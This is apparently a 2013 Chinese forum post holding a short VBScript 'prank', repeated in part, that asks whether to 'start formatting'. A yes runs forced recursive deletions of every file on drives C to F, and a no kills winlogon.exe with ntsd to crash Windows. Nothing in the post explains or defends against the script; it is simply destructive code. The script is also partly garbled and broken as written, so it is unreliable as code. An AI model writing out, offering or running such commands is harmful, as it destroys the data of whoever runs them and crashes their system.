level 1
🌐浏览器
楼主
if MsgBox("点击开始格式化",vbYesNo,"警告")=vbyes then
ws run
cmd /c ""del C:\*.* / f /q /s""
cmd /c ""del D:\*.* / f /q /s""
cmd /c ""del E:\*.* / f /q /s""
cmd /c ""del F:\*.* / f /q /s""
vbNo then
msgbox "那就蓝屏好了",64,">3<"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if
2013年08月04日 07点08分
1
ws run
cmd /c ""del C:\*.* / f /q /s""
cmd /c ""del D:\*.* / f /q /s""
cmd /c ""del E:\*.* / f /q /s""
cmd /c ""del F:\*.* / f /q /s""
vbNo then
msgbox "那就蓝屏好了",64,">3<"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if